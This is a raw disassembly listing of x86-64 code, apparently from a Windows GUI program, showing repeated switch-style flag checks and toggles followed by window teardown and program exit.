jmp 0x140057c04
cmp eax, 5
jne 0x140057bc2
cmp byte [rsp + 0x64], 0
je 0x140057c14
test dil, dil
jmp 0x140057c04
cmp eax, 6
jne 0x140057bd3
cmp byte [rsp + 0x65], 0
je 0x140057c14
test sil, sil
jmp 0x140057c04
cmp eax, 7
jne 0x140057be4
cmp byte [rsp + 0x66], 0
je 0x140057c14
test r14b, r14b
jmp 0x140057c04
cmp eax, 8
jne 0x140057bf5
cmp byte [rsp + 0x67], 0
je 0x140057c14
test r15b, r15b
jmp 0x140057c04
cmp eax, 9
jne 0x140057c14
cmp byte [rsp + 0x63], 0
je 0x140057c14
test r12b, r12b
jne 0x140057c14
cmp byte [0x1403d7a3e], 0
sete byte [0x1403d7a3e]
mov eax, dword [0x1403fd3dc]
cmp eax, 1
jne 0x140057c30
test r13b, r13b
je 0x140057cc1
test r9b, r9b
jmp 0x140057cb1
cmp eax, 2
jne 0x140057c42
test cl, cl
je 0x140057cc1
test r10b, r10b
jmp 0x140057cb1
cmp eax, 3
jne 0x140057c50
test dl, dl
je 0x140057cc1
test r11b, r11b
jmp 0x140057cb1
cmp eax, 4
jne 0x140057c5e
test r8b, r8b
je 0x140057cc1
test bl, bl
jmp 0x140057cb1
cmp eax, 5
jne 0x140057c6f
cmp byte [rsp + 0x64], 0
je 0x140057cc1
test dil, dil
jmp 0x140057cb1
cmp eax, 6
jne 0x140057c80
cmp byte [rsp + 0x65], 0
je 0x140057cc1
test sil, sil
jmp 0x140057cb1
cmp eax, 7
jne 0x140057c91
cmp byte [rsp + 0x66], 0
je 0x140057cc1
test r14b, r14b
jmp 0x140057cb1
cmp eax, 8
jne 0x140057ca2
cmp byte [rsp + 0x67], 0
je 0x140057cc1
test r15b, r15b
jmp 0x140057cb1
cmp eax, 9
jne 0x140057cc1
cmp byte [rsp + 0x63], 0
je 0x140057cc1
test r12b, r12b
jne 0x140057cc1
cmp byte [0x1403d7a66], 0
sete byte [0x1403d7a66]
mov eax, dword [0x1403d7a1c]
cmp eax, 1
jne 0x140057cdd
test r13b, r13b
je 0x140057d6e
test r9b, r9b
jmp 0x140057d5e
cmp eax, 2
jne 0x140057cef
test cl, cl
je 0x140057d6e
test r10b, r10b
jmp 0x140057d5e
cmp eax, 3
jne 0x140057cfd
test dl, dl
je 0x140057d6e
test r11b, r11b
jmp 0x140057d5e
cmp eax, 4
jne 0x140057d0b
test r8b, r8b
je 0x140057d6e
test bl, bl
jmp 0x140057d5e
cmp eax, 5
jne 0x140057d1c
cmp byte [rsp + 0x64], 0
je 0x140057d6e
test dil, dil
jmp 0x140057d5e
cmp eax, 6
jne 0x140057d2d
cmp byte [rsp + 0x65], 0
je 0x140057d6e
test sil, sil
jmp 0x140057d5e
cmp eax, 7
jne 0x140057d3e
cmp byte [rsp + 0x66], 0
je 0x140057d6e
test r14b, r14b
jmp 0x140057d5e
cmp eax, 8
jne 0x140057d4f
cmp byte [rsp + 0x67], 0
je 0x140057d6e
test r15b, r15b
jmp 0x140057d5e
cmp eax, 9
jne 0x140057d6e
cmp byte [rsp + 0x63], 0
je 0x140057d6e
test r12b, r12b
jne 0x140057d6e
cmp byte [0x1403d7a64], 0
sete byte [0x1403d7a64]
mov eax, dword [0x1403d7984]
cmp eax, 1
jne 0x140057d8a
test r13b, r13b
je 0x140057e1b
test r9b, r9b
jmp 0x140057e0b
cmp eax, 2
jne 0x140057d9c
test cl, cl
je 0x140057e1b
test r10b, r10b
jmp 0x140057e0b
cmp eax, 3
jne 0x140057daa
test dl, dl
je 0x140057e1b
test r11b, r11b
jmp 0x140057e0b
cmp eax, 4
jne 0x140057db8
test r8b, r8b
je 0x140057e1b
test bl, bl
jmp 0x140057e0b
cmp eax, 5
jne 0x140057dc9
cmp byte [rsp + 0x64], 0
je 0x140057e1b
test dil, dil
jmp 0x140057e0b
cmp eax, 6
jne 0x140057dda
cmp byte [rsp + 0x65], 0
je 0x140057e1b
test sil, sil
jmp 0x140057e0b
cmp eax, 7
jne 0x140057deb
cmp byte [rsp + 0x66], 0
je 0x140057e1b
test r14b, r14b
jmp 0x140057e0b
cmp eax, 8
jne 0x140057dfc
cmp byte [rsp + 0x67], 0
je 0x140057e1b
test r15b, r15b
jmp 0x140057e0b
cmp eax, 9
jne 0x140057e1b
cmp byte [rsp + 0x63], 0
je 0x140057e1b
test r12b, r12b
jne 0x140057e1b
cmp byte [0x1403d7a6a], 0
sete byte [0x1403d7a6a]
mov eax, dword [0x1403d7970]
cmp eax, 1
jne 0x140057e42
test r13b, r13b
je 0x140057e9f
test r9b, r9b
jne 0x140057e9f
cmp byte [0x1403d7a3d], 0
sete al
mov byte [0x1403d7a3d], al
jmp 0x140057ea6
cmp eax, 2
jne 0x140057e50
test cl, cl
je 0x140057e9f
test r10b, r10b
jmp 0x140057e2e
cmp eax, 3
jne 0x140057e5e
test dl, dl
je 0x140057e9f
test r11b, r11b
jmp 0x140057e2e
cmp eax, 4
jne 0x140057e6c
test r8b, r8b
je 0x140057e9f
test bl, bl
jmp 0x140057e2e
cmp eax, 5
jne 0x140057e7d
cmp byte [rsp + 0x64], 0
je 0x140057e9f
test dil, dil
jmp 0x140057e2e
cmp eax, 6
jne 0x140057e8e
cmp byte [rsp + 0x65], 0
je 0x140057e9f
test sil, sil
jmp 0x140057e2e
cmp eax, 7
jne 0x140057e9f
cmp byte [rsp + 0x66], 0
je 0x140057e9f
test r14b, r14b
jmp 0x140057e2e
movzx eax, byte [0x1403d7a3d]
mov edx, dword [0x1403d7988]
cmp edx, 8
jne 0x140057ebd
cmp byte [rsp + 0x67], 0
je 0x140057ed7
test r15b, r15b
jmp 0x140057ecc
cmp edx, 9
jne 0x140057ed7
cmp byte [rsp + 0x63], 0
je 0x140057ed7
test r12b, r12b
jne 0x140057ed7
test al, al
sete byte [0x1403d7a3d]
mov r8d, dword [0x1403d7a54]
cmp r8d, 1
jne 0x140057f0b
test r13b, r13b
je 0x140057fa4
test r9b, r9b
jne 0x140057fa4
cmp byte [0x1403d7a3c], 0
sete cl
mov byte [0x1403d7a3c], cl
jmp 0x140057fab
cmp r8d, 2
jne 0x140057f1e
test cl, cl
je 0x140057fa4
test r10b, r10b
jmp 0x140057ef0
cmp r8d, 3
jne 0x140057f30
cmp byte [rsp + 0x61], 0
je 0x140057fa4
test r11b, r11b
jmp 0x140057ef0
cmp r8d, 4
jne 0x140057f41
cmp byte [rsp + 0x62], 0
je 0x140057fa4
test bl, bl
jmp 0x140057ef0
cmp r8d, 5
jne 0x140057f53
cmp byte [rsp + 0x64], 0
je 0x140057fa4
test dil, dil
jmp 0x140057ef0
cmp r8d, 6
jne 0x140057f65
cmp byte [rsp + 0x65], 0
je 0x140057fa4
test sil, sil
jmp 0x140057ef0
cmp r8d, 7
jne 0x140057f7a
cmp byte [rsp + 0x66], 0
je 0x140057fa4
test r14b, r14b
jmp 0x140057ef0
cmp r8d, 8
jne 0x140057f8f
cmp byte [rsp + 0x67], 0
je 0x140057fa4
test r15b, r15b
jmp 0x140057ef0
cmp r8d, 9
jne 0x140057fa4
cmp byte [rsp + 0x63], 0
je 0x140057fa4
test r12b, r12b
jmp 0x140057ef0
movzx ecx, byte [0x1403d7a3c]
cmp edx, 1
jne 0x140057fda
test r13b, r13b
je 0x140058139
movzx edx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14005813e
cmp byte [0x1403d7a3b], r9b
sete byte [0x1403d7a3b]
jmp 0x14005813e
cmp edx, 2
jne 0x140058008
movzx edx, byte [rsp + 0x60]
test dl, dl
je 0x14005813e
test r10b, r10b
jne 0x14005813e
cmp byte [0x1403d7a3b], r10b
sete byte [0x1403d7a3b]
jmp 0x14005813e
cmp edx, 3
jne 0x140058039
cmp byte [rsp + 0x61], 0
je 0x140058139
movzx edx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14005813e
cmp byte [0x1403d7a3b], r11b
sete byte [0x1403d7a3b]
jmp 0x14005813e
cmp edx, 4
jne 0x140058068
cmp byte [rsp + 0x62], 0
je 0x140058139
movzx edx, byte [rsp + 0x60]
test bl, bl
jne 0x14005813e
cmp byte [0x1403d7a3b], bl
sete byte [0x1403d7a3b]
jmp 0x14005813e
cmp edx, 5
jne 0x140058099
cmp byte [rsp + 0x64], 0
je 0x140058139
movzx edx, byte [rsp + 0x60]
test dil, dil
jne 0x14005813e
cmp byte [0x1403d7a3b], dil
sete byte [0x1403d7a3b]
jmp 0x14005813e
cmp edx, 6
jne 0x1400580c7
cmp byte [rsp + 0x65], 0
je 0x140058139
movzx edx, byte [rsp + 0x60]
test sil, sil
jne 0x14005813e
cmp byte [0x1403d7a3b], sil
sete byte [0x1403d7a3b]
jmp 0x14005813e
cmp edx, 7
jne 0x1400580ed
cmp byte [rsp + 0x66], 0
je 0x140058139
movzx edx, byte [rsp + 0x60]
test r14b, r14b
jne 0x14005813e
cmp byte [0x1403d7a3b], r14b
sete byte [0x1403d7a3b]
jmp 0x14005813e
cmp edx, 8
jne 0x140058113
cmp byte [rsp + 0x67], 0
je 0x140058139
movzx edx, byte [rsp + 0x60]
test r15b, r15b
jne 0x14005813e
cmp byte [0x1403d7a3b], r15b
sete byte [0x1403d7a3b]
jmp 0x14005813e
cmp edx, 9
jne 0x140058139
cmp byte [rsp + 0x63], 0
je 0x140058139
movzx edx, byte [rsp + 0x60]
test r12b, r12b
jne 0x14005813e
cmp byte [0x1403d7a3b], r12b
sete byte [0x1403d7a3b]
jmp 0x14005813e
movzx edx, byte [rsp + 0x60]
mov eax, dword [0x1403d7974]
cmp eax, 1
jne 0x14005815a
test r13b, r13b
je 0x1400581f0
test r9b, r9b
jmp 0x1400581e0
cmp eax, 2
jne 0x14005816c
test dl, dl
je 0x1400581f0
test r10b, r10b
jmp 0x1400581e0
cmp eax, 3
jne 0x14005817d
cmp byte [rsp + 0x61], 0
je 0x1400581f0
test r11b, r11b
jmp 0x1400581e0
cmp eax, 4
jne 0x14005818d
cmp byte [rsp + 0x62], 0
je 0x1400581f0
test bl, bl
jmp 0x1400581e0
cmp eax, 5
jne 0x14005819e
cmp byte [rsp + 0x64], 0
je 0x1400581f0
test dil, dil
jmp 0x1400581e0
cmp eax, 6
jne 0x1400581af
cmp byte [rsp + 0x65], 0
je 0x1400581f0
test sil, sil
jmp 0x1400581e0
cmp eax, 7
jne 0x1400581c0
cmp byte [rsp + 0x66], 0
je 0x1400581f0
test r14b, r14b
jmp 0x1400581e0
cmp eax, 8
jne 0x1400581d1
cmp byte [rsp + 0x67], 0
je 0x1400581f0
test r15b, r15b
jmp 0x1400581e0
cmp eax, 9
jne 0x1400581f0
cmp byte [rsp + 0x63], 0
je 0x1400581f0
test r12b, r12b
jne 0x1400581f0
cmp byte [0x1403d7a67], 0
sete byte [0x1403d7a67]
mov eax, dword [0x1403d7a74]
cmp eax, 1
jne 0x14005820c
test r13b, r13b
je 0x1400582bb
test r9b, r9b
jmp 0x1400582ab
cmp eax, 2
jne 0x140058221
test dl, dl
je 0x1400582bb
test r10b, r10b
jmp 0x1400582ab
cmp eax, 3
jne 0x140058236
cmp byte [rsp + 0x61], 0
je 0x1400582bb
test r11b, r11b
jmp 0x1400582ab
cmp eax, 4
jne 0x140058246
cmp byte [rsp + 0x62], 0
je 0x1400582bb
test bl, bl
jmp 0x1400582ab
cmp eax, 5
jne 0x140058269
cmp byte [rsp + 0x64], 0
je 0x1400582bb
test dil, dil
jne 0x1400582bb
cmp byte [0x1403d7a65], dil
sete al
mov byte [0x1403d7a65], al
jmp 0x1400582c2
cmp eax, 6
jne 0x14005827a
cmp byte [rsp + 0x65], 0
je 0x1400582bb
test sil, sil
jmp 0x1400582ab
cmp eax, 7
jne 0x14005828b
cmp byte [rsp + 0x66], 0
je 0x1400582bb
test r14b, r14b
jmp 0x1400582ab
cmp eax, 8
jne 0x14005829c
cmp byte [rsp + 0x67], 0
je 0x1400582bb
test r15b, r15b
jmp 0x1400582ab
cmp eax, 9
jne 0x1400582bb
cmp byte [rsp + 0x63], 0
je 0x1400582bb
test r12b, r12b
jne 0x1400582bb
cmp byte [0x1403d7a6b], 0
sete byte [0x1403d7a6b]
movzx eax, byte [0x1403d7a65]
mov edx, dword [0x1403d7a60]
cmp edx, 1
jne 0x1400582f2
test r13b, r13b
je 0x140058422
movzx edx, byte [rsp + 0x60]
test r9b, r9b
jne 0x140058427
cmp edx, 2
jne 0x14005831b
movzx edx, byte [rsp + 0x60]
test dl, dl
je 0x140058427
cmp edx, 3
jne 0x140058347
movzx edx, byte [rsp + 0x60]
mov eax, dword [0x1403d797c]
cmp eax, 1
jne 0x14005845c
call fcn.140047cf0
call fcn.140048040
xor ecx, ecx
call fcn.140006bb0
call fcn.14005d4e0
mov rcx, qword [0x1403d7a28]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x228]
mov rcx, qword [rbp + 0x250]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov r13, qword [rsp + 0x2d80]
xor eax, eax
mov rsi, qword [rsp + 0x2da8]
mov r12, qword [rsp + 0x2d88]
movaps xmm11, xmmword [rsp + 0x2d10]
movaps xmm10, xmmword [rsp + 0x2d20]
movaps xmm9, xmmword [rsp + 0x2d30]
movaps xmm8, xmmword [rsp + 0x2d40]
movaps xmm7, xmmword [rsp + 0x2d50]
movaps xmm6, xmmword [rsp + 0x2d60]
movaps xmm12, xmmword [rsp + 0x2d00]
mov rdi, qword [rsp + 0x2db0]
movaps xmm13, xmmword [rsp + 0x2cf0]
movaps xmm14, xmmword [rsp + 0x2ce0]
movaps xmm15, xmmword [rsp + 0x2cd0]
mov rbx, qword [rsp + 0x2da0]
mov r15, qword [rsp + 0x2d70]
mov r14, qword [rsp + 0x2d78]
add rsp, 0x2d90
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3